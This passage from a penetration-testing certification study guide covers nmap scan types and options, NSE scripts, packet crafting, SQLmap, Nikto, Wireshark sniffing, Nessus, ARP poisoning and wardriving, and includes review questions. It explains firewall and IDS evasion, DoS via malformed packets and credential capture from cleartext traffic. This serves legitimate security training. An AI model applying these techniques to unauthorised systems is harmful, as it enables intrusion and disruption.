and the Common Vulnerabilities and Exposures (CVE) number.
As shown in the screenshot, we see the details of an OpenVAS scan of Scanme.
nmap.org:
Crafting Packets
The team has a number of tasks to complete when running a PenTest. To achieve
some of their goals, they may use packet crafting to test firewall rules, evade
intrusion detection, or cause a denial of service.
For example, when crafting packets, you could do the following:
• Set unusual TCP flags to see if a firewall allows the packet.
• Create fragmented packets that cannot be reassembled, which can consume all
of a targetʼs CPU time and cause either a system crash or denial of service (DoS).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
116 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The goal in all cases is to use as few packets as possible to achieve the desired
result.
Packet crafting involves four stages:
1. Assemble—create the packet to be sent.
You can craft your packet(s) using the command line, GUI, or script options.
The type of packet you craft will be dependent on the firewall product. However,
you might want to start with some well-known vulnerabilities. For example, the
Christmas (XMAS) scan turns on the FIN, URG, and PSH flags all in the same TCP
segment. This scan will be able to bypass firewalls that follow a strict interpretation
of RFC 793, the original TCP specification. While this has been updated in most
implementations, this vulnerability still exists in the wild.
A number of hacking tools (including Metasploit) use packet crafting techniques as
part of the attack. Some popular packet crafting tools include:
• Ostinato, Libcrafter, Yersinia, packETH
Two other tools to craft and send a malformed packet to your target include Scapy
and hping/Hping3.
As shown in the screenshot, hping3 is used in Kali Linux to craft a custom packet:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 117
its own vulnerabilities and listening ports. They are often installed on separate
computers and have their own IP addresses.
Web servers are often public-facing, whereas database servers are almost always
on the private network. The web server will then have a backend connection to the
database server. Most database servers using SQL will listen on TCP port 1433 or
UDP port 1434. If you have access to the internal network, you can try scanning
the SQL server directly. Or, if your access is through the web server, you can try
scanning the web application to see if it will pass illegal commands to the SQL
server to try and attempt an SQL injection attack. Keep in mind that in smaller
applications the web server and database can be part of the same application,
installed on the same computer.
Some possibilities for evaluating a web server and its database includes scanning:
• Web server on TCP 80 or 443 for server-specific vulnerabilities
• Any apps running on the web server for vulnerabilities not related to SQL
There are many web application vulnerability scanners available today. Some popular
scanners include Arachni, Skipfish, Grabber, Wapiti, OWASP ZAP, and Metasploit Pro.
In addition to scanning for general weaknesses related to an organizationʼs
website, the team may also be tasked to check for SQL-specific vulnerabilities. To
achieve this goal, the team has several specialized scanners and testers at their
disposal. One tool that the team can use is SQLmap, which is an open-source
database scanner that searches for and exploits SQL injection flaws.
SQLmap is included with Kali Linux and is easy to use. As shown in the screenshot,
SQLmap is run against Scanme.nmap.org:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
118 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Freak vulnerability attacks the RSA-export keys and can allow a malicious actor
to decrypt the communication stream
• Poodle vulnerability alters the way SSL 3.0 handles block cipher mode padding
to be able to select content within the SSL session
Another tool that is built into Kali Linux is Nikto, an open-source web server
scanner that can complete comprehensive testing on web servers for a variety of
vulnerabilities, such as anticlickjacking X-Frame-options header, and dangerous files
and CGIs.
To learn more about Nikto and its capabilities, visit the manual (man) page.
As we have learned, most networks have many targets that the team will need to
evaluate. During your career, you will most likely develop your own set of favorite
tools in which to scan and test network defenses. However, keep in mind that over
time, tools will be deprecated or no longer supported. The good news is new tools
and techniques are developed all the time.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 119
Review Activity:
Scanning Tools
5
1. During the footprinting and reconnaissance phase, the team will have
used a variety of OSINT tools and security search engines such as Shodan
to gather information. What other tool can the team use to scan remote
targets for hosts, services, and other details?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
120 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 5
Summary
4
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 6
Scanning Logical Vulnerabilities
1
LESSON INTRODUCTION
While scanning the network for vulnerabilities, the team will need to evaluate a
variety of targets using several approaches. In this lesson, we’ll outline the various
types of scans used to evaluate the health of network endpoints, devices, and
applications. You’ll learn the different types of scans such as host discovery, TCP full
connect, and web application scans. Part of this process may involve either actively
scanning the network, or passively sniffing the traffic with the hopes of obtaining
some interesting artifacts. Concurrently, the team will need to scope out wireless
networks to assess whether the WLAN is vulnerable as well.
Lesson Objectives
In this lesson, you will:
• Apply knowledge of network topology and scan identified targets using a variety
of techniques, such as stealth and TCP full connect scans.
• Compile data on network traffic by gathering API requests and responses and
ARP traffic while using tools such as Wireshark and Nessus.
• Produce reports on wireless assets by using tools and techniques that include
Wireless Geographic Logging Engine (WiGLE) and wardriving.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
122 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 6A
Scan Identified Targets
2
During the PenTest, the team will scan the network and gather information about
computing systems, servers, and applications in preparation for the next phase of
the assessment. In this section, we’ll review the different types of scans along with
ways to evaluate vulnerable web applications.
Let’s start with a review of the different types of scans the team will complete.
As shown in the graphic, one of the hosts is up and will respond back to the
PenTest team:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 123
While the term “ping” sweep implies that scanning will use Internet Control Message
Protocol (ICMP) to discover hosts, most applications use a variety of protocols to
detect live hosts on the network.
Probes include using protocols such as Transmission Control Protocol (TCP), User
Datagram Protocol (UDP), and Stream Control Transmission Protocol (SCTP).
Because firewalls may block standard probes used during the ping sweep, several
applications have other choices to attempt to determine if a host is online. Choices
include using the following:
• TCP SYN Ping
• UDP Ping
• IP Protocol Ping
• ARP Scan
When scanning the network for live hosts, a firewall might block the probes. In that
case, the host will be treated as offline. If you are using nmap, you might get the
following message:
Note: Host seems down. If it is really up, but
blocking ping probes, try -Pn
If the team decides to use the option -Pn, this will forego host discovery and treat
all hosts as online.
After determining the live hosts on the network, the next phase is to scan the ports
of each live host to determine which services are listening. Let’s see what’s involved
when running a port scan.
Scanning Ports
By default, when completing a ping sweep using Nmap, the application will
complete the following:
1. Scan the network for live hosts
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
124 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
However, if the analyst uses -sn, this option will simply print available hosts.
Once the team has identified live hosts, the next step is to run a port scan to see if
any live hosts have ports that are open and listening.
Port scanning is the process of determining which TCP and UDP ports are listening
on the target. It is the first step in determining what services are running on the target.
The following lists some common ports and their services.
• Port 25 Simple Mail Transport Protocol (SMTP)
• Port 88 Kerberos
A port scan will generally scan the well-known ports (1-1023); however, the app can be
set to scan a larger range.
The actual number of open ports on a single host will depend on the number of
services and listening applications that are running on that machine. For example,
the following shows an Nmap scan of the host 192.168.74.50:
When port scanning, the team can use several techniques to obtain as much detail
as possible about the target by using either a TCP or UDP scan.
If the team uses a UDP-based scan, the scanner will attempt to elicit a response from
listening services. However, these scans are more difficult to fingerprint as UDP is a
connectionless protocol.
The scan can either attempt to fully connect with the host and learn as much
about the target as possible, or they can use a stealth scan so they can remain
undetected.
Let’s see what’s involved when using a full connect scan.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 125
• FIN scan sends a packet to the target with only the FIN flag set.
• XMAS Tree scan sends a packet with the FIN, URG, and PSH flags set and
appears to be “lit up like a Christmas Tree.”
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
126 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
2. The destination ports, which show the scan moving through each sequential
port.
When using a SYN scan, the response will indicate the state as follows:
• If the port is open, the target will return a SYN ACK.
• If the target is filtered using a firewall, the packet will be dropped and no
response is sent.
When using a XMAS Tree, Null or FIN scan, the response will indicate the state as
follows:
• If the port is open, there will be no response.
• If the target is filtered using a firewall, the packet will be dropped and no
response is sent.
A stealth scan uses techniques that try to exploit the expected behavior of TCP.
When used alone, the scans may have limited effectiveness. However, using a
stealth scan in combination with other features of Nmap can prove to be more
fruitful.
In addition to actively scanning the network, the analysts may also be tasked with
scanning the target to determine if they have any vulnerable web applications. Let’s
see what’s involved next.
The PenTest team can test for vulnerabilities with preconfigured or custom scans,
using manual or automated methods. In addition to general considerations, the
scan results will depend on whether the team is running a credentialed or non-
credentialed scan. The difference is as follows:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 127
• A noncredentialed scan is a scan that uses fewer permissions, and many times
can only find missing patches or updates.
Web application scanners will interact with the web application and examine elements
such as form fields and code for identified vulnerabilities and sensitive content. Today
there are many commercial web application scanners, from vendors such as Acunetix,
Qualys, and Netsparker. In addition, there are also open-source scanners and web
crawlers, such as those built within Kali Linux, as shown in the screenshot:
When dealing with web applications, it’s also important to check for exposed or
unprotected Application Programming Interface (API) information within the code.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
128 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
API vulnerabilities are common. As a result, the PenTest team should search
for exposed information such as an API key in the source code, as shown in the
graphic:
An API with the appropriate key and authorization token can allow a malicious actor
to gain access to sensitive data.
Scanning for vulnerabilities can be a lengthy, time consuming process. While some
of the scanning process can be done manually, most professional PenTesting
teams will use automated tools to drill through sites for the presence of known
vulnerabilities.
• Dynamic Application Security Testing (DAST) is done after the code is placed
in production. Unlike SAST, dynamic testing will unearth vulnerabilities that are
evident after the code is in production.
Today many web applications use industry standards for creating the interface
and back end applications for vulnerabilities such as insecure server configuration,
Cross-site scripting, SQL Injection, and Path Traversal. As a result, web application
vulnerability scanners are specifically designed to check for new and existing
vulnerabilities, and then present a report to the analyst for evaluation.
The automated tools must be constantly updated with the latest vulnerabilities to
ensure the application is compliant with standards and regulations. To take the
guesswork out of this process and continuously monitor systems for vulnerabilities,
the team can use the Security Content Automation Protocol (SCAP). SCAP is
a US standard used to ensure applications are in-line with mandated security
requirements. Scanning will use a predetermined security baseline that checks for
vulnerabilities, either on-site or cloud based. Once identified, the next step is to
mitigate the vulnerabilities to decrease overall organizational risk.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 129
Review Activity:
Identified Targets
3
1. The team is ready to scan identified targets on the network. Kimora, one
of the junior members of the team, isn’t sure of the correct process the
team should use when scanning the LAN. How would you describe this
process?
2. When port scanning, the team can either do a full connect or stealth
scan to identify listening services. What is the difference?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
130 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 6B
Evaluate Network Traffic
4
During the PenTest process, the team will investigate vulnerabilities on the Local
Area Network (LAN). This process can include passively sniffing the traffic to gather
information being passed in plain text or by actively scanning the network. In this
segment, we’ll investigate ways we examine network traffic by using tools such as
Wireshark and Nessus. By evaluating the traffic, this will ensure the networks have
been properly segmented to protect assets and data stores.
Let’s start by seeing how we can gather traffic in motion using Wireshark.
Sniffing can take advantage of cleartext protocols and data traveling across the
network. The analyst can learn a great deal about the network by monitoring
protocols such as: TCP, ARP, SMTP, HTTP, and others. If the traffic is in cleartext, you
can capture credentials, files, images, messages, and data meant for other users
and machines.
Sniffers such as Wireshark have the ability to recreate entire TCP sessions. However,
even if the payload is encrypted, you can still extrapolate vital information that
includes:
• Source and destination address and ports
To effectively use packet analysis, the team will need to select an appropriate
location to visualize the traffic. Keep in mind, depending on the placement, you may
only be able to capture a portion of the total network traffic.
The team can conduct packet analysis on an individual host. However, the view of
network traffic is limited as each switchport is its own collision domain. Therefore, if
the protocol analyzer is sniffing on a switch, you will only see broadcasts, multicasts,
and unicast traffic.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 131
To see all traffic on a switch, the network administrator can use port monitoring or
Switched Port Analysis (SPAN). If you need to monitor all traffic on a backbone,
you can use a full duplex tap in line with traffic; however, you will most likely need a
special adapter.
To effectively monitor network traffic there are a couple of guidelines:
• The sniffer's interface must be in promiscuous mode to gather all traffic.
• If the team is testing a WLAN, the sniffer must be within radio range.
Next let’s see how Wireshark can help discover network hosts.
Capturing user account information using NBNS in Wireshark (Screenshot courtesy of Wireshark.)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
132 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
We can also use Wireshark to evaluate a TCP HTTP stream. If we select a packet and
then right click to follow the HTTP stream, Wireshark will present the following:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 133
We can also view information from Dynamic Host Configuration Protocol (DHCP)
traffic, which dynamically assigns IP addresses to network hosts. When examining
DHCP traffic, the analysis will be able to view elements such as the Client Identifier
(MAC address), as well as Host Name in plain text.
There are most likely other artifacts as well. It may take some patience to comb
through a packet capture. However, it can be well worth your time as you might
discover some valuable information traveling through the network.
Another tool that can provide valuable insight on the network is Nessus. Let’s take a
look.
Nessus for home or personal use is free. If running on an enterprise network, you will
need to purchase the product to take advantage of all of the features.
Nessus Essentials is available for download for students. Once you download the
app, you will be able to view available scans as shown in the following screenshot:
Once in the interface, you can create and name a basic network scan, and then run
the scan. Depending on the size of your network, this may take an hour or more to
run. Once done, you will be able to view the scan results as shown below:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
134 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 135
Properly segmenting the network is good practice. However, it may also be a part
of a regulation or standard. For example, PCI DSS requirements state that an
organization must ensure the cardholder data environment (CDE) is properly
segmented.
The requirement means that merchants that fall under the PCI DSS standard must
annually test their network to ensure they have properly segmented the CDE. More
specifically, the test must prove that an out-of-scope network will not have the
ability to communicate with the CDE.
Nessus has a suite of PCI plugins to make the scan more efficient. When running,
Nessus will output a report as to whether or not the network is PCI DSS compliant,
along with specific areas of remediation.
The team can also use Nmap to test for network segmentation using ICMP, TCP, and
UDP port scans between the two systems.
During a PenTest, the team will gather information on the network to prepare for
the next phase. Next, let’s take a look at how we can obtain Address Resolution
Protocol (ARP) traffic.
Gathering ARP traffic will only work on a LAN as ARP is not routable.
For example, the team might use MAC addresses to launch an ARP poisoning attack.
This attack deliberately maps an incorrect MAC address to a correct IP address,
which poisons the ARP cache. ARP poisoning is used to redirect traffic for malicious
purposes. This technique is one of the most common spoofing mechanisms used
on Ethernet and Wi-Fi networks, as it allows an attacker to insert themselves in a
man-in-the-middle attack between two legitimate hosts.
To gather ARP traffic, the team can use the following:
• Nessus, which has several plugins to enumerate MAC addresses on targets
• Nmap can also gather MAC addresses by using the following command: nmap
-PR -sn <target>. In this command, -PR will do an ARP ping and -sn
will disable a port scan.
• Arping is a tool found in Kali Linux. Arping will send a series of ARP requests to
the target. The target will send an ARP reply in response.
When using Arping, you will need to use Wireshark and use arp as the display filter to
see the response.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
136 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Network Traffic
5
1. Catrina needs to test the network to see if she can obtain credentials,
files, images, messages, and data traveling over the network. What tool
can she use to achieve this goal?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 137
Topic 6C
Uncover Wireless Assets
4
As part of scanning the network, the team might need to evaluate wireless assets.
In this section, we’ll cover the concept of wardriving, or actively searching for open
access points, and how the Wireless Geographic Logging Engine (WiGLE) can help
in this effort. We’ll then summarize which ways we can amplify the Wi-Fi signal to
improve the signal range.
First let’s outline the concept of war driving.
• During installation of a new AP, someone may have failed to properly lock down
the device.
During reconnaissance, the PenTest will focus on discovering open and unsecured
WAPs that the target might have in place.
For this exercise, the team can use war driving, a technique that involves driving
around to search for open access points using a laptop or smartphone.
The term war driving implies that it’s necessary to drive around and search for an
unsecured WAP. However, the team can also walk around a location, such as a campus,
to identify open APs.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
138 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The team can use tools such as Aircrack-ng, Kismet, or Wifite to search for open
WAPs. In addition, it’s beneficial to have packet analysis software running during the
test to gather and save the information. After analysis, the information can then be
used to launch an active attack.
While testing the target’s WAP are mainly contained to the main headquarters,
there may be a need to test remote locations, such as the office of a per diem
contractor. In that case, the team will need to adjust the process to test the remote
location. While this might require an on-site visit, another option might be to use
the Wireless Geographic Logging Engine (WiGLE). Let’s see what’s involved next.
While early on it was relatively easy to locate an open access point, times have changed.
With improved devices and user education, there are significantly less open access
points today.
Once you have selected a location and set your filters, the interface will be
populated with dots. Each dot represents an access point, where you can zoom in
to learn more about that AP.
In addition, WiGLE can also be used in several different views. In the lower right-
hand corner of the interface, you will see a drop-down menu to select a view, that
includes Standard, Satellite, Nightvision, Greyscale and Hybrid.
To thoroughly test wireless networks, it’s critical to have the appropriate signal
strength. Let’s explore this concept, next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 139
When conducting the PenTest, it’s best to select an antenna based on the specific
needs. For example, the team might select from an 11dBi antenna for long range
reconnaissance, or a five dBi antenna for an office. In addition, antennas can also
vary in the way they disperse a signal. For example, the antenna can be:
• Directional in the signal coverage is limited to a specified direction.
• Parabolic which has a curved surface that has a fixed pattern, similar to a laser
beam.
Wireless networks are another attack vector, but as we have seen there are plenty
of tools and techniques that we can use to test the strength of the target’s wireless
infrastructure.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
140 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Wireless Assets
5
2. While searching for open access points, one of the team members
suggests using WiGLE. Explain what it is and how it can help during the
PenTest process.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 141
Lesson 6
Summary
4
In this lesson we applied our knowledge of network topology in order to test for
vulnerabilities. We recognized the many different types of network scans that can
be done to discover network hosts. We compared how port scans can be done
using either a TCP full connect or a stealth scan. By now you can understand
the importance of assessing vulnerable web applications during the Pentest. In
addition, we learned the value of automating the scanning process to drill through
sites for the presence of known vulnerabilities.
We then discussed how to compile data on network traffic by gathering API
requests and responses and ARP traffic while using tools such as Wireshark
and Nessus. Finally, we saw how to uncover wireless assets by using tools and
techniques that include WiGLE and war driving and covered the importance of
appropriate signal strength during the testing process.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 7
Analyzing Scanning Results
1
LESSON INTRODUCTION
During the PenTest, the team will scan a variety of devices, networks, and operating
systems. In this lesson, we’ll learn how a thorough analysis of the network is
necessary as it will dictate the next step in the process. We’ll discover how Network
mapper (Nmap), a predominant method used to scan networks, has a variety of
options to detect listening hosts, open ports, and operating systems. We’ll outline
the basic capabilities of Nmap, along with how advanced features, such as the
Nmap Scripting Engine (NSE), can help refine results and target specific services.
Once they have gathered the scanning results, the next step is to evaluate the
scans. We’ll then see how the team will use other resources, such as web logs,
network traffic, and Domain Name System (DNS) to provide an accurate assessment
of the target’s environment.
Lesson Objectives
In this lesson, you will:
• Paraphrase the capabilities of Nmap, including common options such as sV, sT,
Pn, O, sU, and the effect of running that scan, along with scripting options using
NSE.
• Examine the output from scans such as Nmap, web logs, and network traffic and
produce a report that will help determine the next phase in the pentest exercise.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
144 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 7A
Discover Nmap and NSE
2
Nmap is the most widely used network scanner today. In addition to being used
by network administrators to test the LAN, Nmap is the underlying scanning
engine in a number of commercial and open-source vulnerability testing products.
In this section, we’ll outline some of the basic features of Nmap along with a
review of settings for evading detection. We’ll then finish with advanced scripting
options where you’ll realize the power of Nmap as a full featured network
discovery tool.
Let’s start with the basics.
When the team moves into the active reconnaissance phase, generally one of the
first tasks is to scan all hosts on the network in search of interesting targets, such as
hosts that are running essential services.
When outlining a plan for testing, the team has many options. Scans can be
customized to adhere to timing and performance limitations, use specific TCP or
UDP ports, or operate in stealth mode to evade detection. Let’s first talk about
timing and performance issues when scanning the network.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 145
systems. The team will need to be aware of this and may have to adjust the timing
of the scans to run during off hours or use less intrusive scans.
Nmap has a timing option which can be modified to suit your needs. The timing option
is -T <0 - 5>, where T0 is the slowest and T5 is the fastest, as described below:
• T0 and T1 are the best options for IDS evasion but are extremely SLOW.
• T4 is the recommended choice for a fast scan that is still relatively stable.
• T5 is the fastest option but can be unstable and should only be used on a
network that can handle the speed.
In some cases, network devices enforce rate limiting, which limits the data flow
by either policing or shaping the traffic. Nmap will detect whether rate limiting is in
place and will adjust the scan to avoid flooding the network. Keep in mind that rate
limiting may result in a much lower scan rate. In that case, the team may want to
skip slow hosts by using the option --host-timeout.
Another option when scanning is whether to use Transmission Control Protocol
(TCP) and User Datagram Protocol (UDP). Let’s compare the difference.
• A full (or TCP connect) scan will use a standard TCP three-way handshake. This
scan uses the option: -sT.
• A Christmas tree scan sends a TCP segment with the FIN, PSH, and URG flags
raised to bypass a firewall or IDS. This scan uses the option: -sX.
The strength of using TCP when scanning is the connection-oriented nature of the
protocol, along with the flexibility of the six flags that can be manipulated and used
during the scan.
• If the port is closed, the target will return an ICMP port unreachable error
(type 3, code 3).
• If the target is filtered using a firewall, the target might return an ICMP
unreachable error (type 3, codes 1, 2, 9, 10, or 13).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
146 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The team can run a UDP scan using the option -sU. In addition, you can also use
version detection -sV to help differentiate the truly open ports from the filtered ones.
Scanning using UDP is generally slower and more difficult than running a TCP scan.
In addition, open and filtered ports rarely send any response. Because of this, the
team may choose not to run a UDP scan.
However, it’s important to keep in mind that there are several protocols such as
DNS, SNMP, and DHCP that use UDP, and these services can be exploited. As a
result, testing UDP ports should be included in the scanning phase of the PenTest.
For either TCP or UDP, the team can define the port(s) to be used during the scan
using the following syntax: -p <port ranges>. For example:
• To scan port 53, you will use the command nmap -p 53 192.168.1.1.
• To scan ports 110, 26 and 443, you will use the command nmap -p 110,25,
443 192.168.1.1.
With Nmap, you can run either a basic scan or incorporate scripts for advanced
functionality. Let’s explore this concept.
• Detect versions using complex probes then attempt to brute force the service.
To use an Nmap script, type the following: nmap - - script <name of script>, as
shown in the following example:
Nmap -–script=dns-random-srcport
When writing the command, you don’t have to type the (nse) extension, as nmap will
automatically know that you are using a script.
The following script uses the NSE script targets-sniffer.nse. When using
this command, Nmap will sniff the network for 60 seconds using the eth0
interface, list any new targets that it sniffs, and then scan those targets
Nmap - - script=targets-sniffer - - script-
args=newtargets,targets-sniffer.timeout=60s,targets-
sniffer.iface=eth0
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 147
Nmap comes preconfigured with a full library of scripts. You can find the scripts in
Kali Linux by issuing the following command: ls -al /usr/share/nmap/
scripts/. As shown in the screenshot, we see a partial list of the Nmap scripts:
Nmap scripts are written using the LUA programming language. With NSE, you can
create or modify your own customized scripts specific to your needs.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
148 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Any scripts you write will need to use the (nse) extension so that nmap can use the
scripts.
To view a script, you can open in a text editor such as vim. For example, use the
following command to view the script traceroute-geolocation.nse in vim: vim
/usr/share/nmap/scripts/traceroute-geolocation.nse,
as shown in the screenshot:
When using the NSE, you can use more than one script in a command, you will just
need to use a comma between each script. Additionally, for a more powerful option,
you can use the base script identifier and the wildcard option within double quotes,
or run all scripts in a specific category as follows:
• Run all scripts related to File Transfer Protocol (FTP) using the wildcard option on
the target: nmap -p 21 - -script "ftp-*" <ip address>.
• Run all scripts in the vulnerabilities (vuln) category on the target: nmap - -
script=vuln <ip address>.
Keep in mind that if you use either option, this will run multiple scans that will most
likely take a while. In addition, the scanning can either cause a system crash and/
or create excessive network congestion. As a result, you’ll need to evaluate whether
running an intrusive scan is appropriate for the environment.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 149
Review Activity:
3
Nmap and NSE
Answer the following questions:
1. Kaison, the newest member of your team, asks why the team uses Nmap
when there are other scanners available today. What is your response?
2. One of the team members suggests that when scanning the payroll
department it might be more efficient to activate all scripts in the
vulnerability category using script=vuln. Knowing that network
performance is essential, how would you respond?
3. Allison was trying to scan 8080, 443, and port 80 using the command
nmap -p [8080, 443,80] scanme.nmap.org and told you the
command didn’t work. What is wrong with the command?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
150 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 7B
Enumerate Network Hosts
4
Prior to actively launching any attacks, the team will need to map the network to get
a better idea of the hosts and services running on the target environment. In this
section, we’ll cover ways we can scan the network to identify interesting hosts. We’ll
also see how we can gather the make and model of network devices, evidence of
listening services, and the operating systems in use.
Let’s start with a review of some options to use during host discovery.
• TCP Scans, which will check for open and listening TCP ports to determine what
services are in use.
The basic syntax for Nmap is: nmap [Scan Type(s)] [Option(s)]
<target>.
Because every network is unique, the team may need to use a variety of scans to
get a solid grasp on the environment. By default, Nmap uses the following during
host discovery:
• TCP SYN packet to port 443
When scanning, the team may need to adjust if they run into problems. For
example, if a firewall is blocking the default ICMP pings, the team has other
options. For example, they can try the following:
• TCP ACK Ping -PA <portlist> This will set the acknowledgement (ACK)
flag in the TCP header.
• UDP Ping -PU <portlist> This scan uses User Datagram Protocol (UDP).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 151
• SCTP Initiation Ping -sY <portlist> This scan uses the Stream Control
Transmission Protocol (SCTP), an alternative to using either a TCP or UDP scan to
see if a host is alive.
• TCP SYN Ping -PS <portlist> This scan will send a TCP SYN to
whatever port(s) you specify. If you don’t indicate a port number, Nmap will
try all ports and then display the findings. For example, running the command
nmap -PS scanme.nmap.org, will result in the following:
When using the TCP SYN Ping using multiple ports, there can be no space between
-PS and the port list. For example, you’ll need to type the command as follows:
PS22-25,80,110.
When scanning, Nmap will display the ports that were detected. Ports can be in one
of four states as shown in the following table:
• Complete the network discovery without doing a port scan using the switch
-sn.
• Run a script without either a ping or port scan by using the two options -Pn
-sn together.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
152 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Use caution when using -Pn on a network, as Nmap will attempt to scan all hosts,
which could equate to hundreds or thousands of hosts.
Another key exercise when scanning is to determine the operating system in use on
the host. Let’s see why this is a critical step in the PenTest process.
Fingerprinting the OS
Part of evaluating network hosts is to identify vulnerable targets. Nmap can detect
the operating system and version in use along with service detection for a single
host or a range of devices. Once the vulnerable machine(s) are identified, the
vulnerabilities can either be mitigated, or the team can attempt to actively attack
the system.
During fingerprinting (or footprinting) the team can use passive or active OS
scanning.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 153
Using this command will display open ports and determine the service and version
running. As shown in the screenshot, Nmap reports the following:
• The target is running several services, which includes http - version is Apache
httpd 2.4.7 ((Ubuntu)).
Once a response is received from the target, Nmap will analyze the TCP/IP behavior
to make a best effort estimate of what OS is in use. Some of the key elements used
to determine the OS include:
• Don’t Fragment (DF) bit—Is the DF bit in the IPv4 header on or off?
• Time to Live (TTL)—What is the TTL value set on the outbound packet?
One thing to keep in mind is that Nmap uses the values to make a probable guess
as to the target’s operating system. If when scanning the team notices any incorrect
results, they can report discrepancies to https://nmap.org/submit.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
154 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Network Hosts
Answer the following questions:
1. When scanning, the team notices that a firewall is blocking the default
ICMP pings. What other options can they try?
2. After running a scan, Nmap reports that two of the ports are
UNFILTERED. What does this mean?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 155
Topic 7C
Analyze Output from Scans
4
After completing the reconnaissance phase, the team will need to examine the output
from scans. In this section, we’ll see what we can learn from evaluating network
traffic. We’ll compare the differences between Nmap, a Command Line Interface
(CLI) tool, and Zenmap, a Graphical User Interface (GUI) tool that enables better
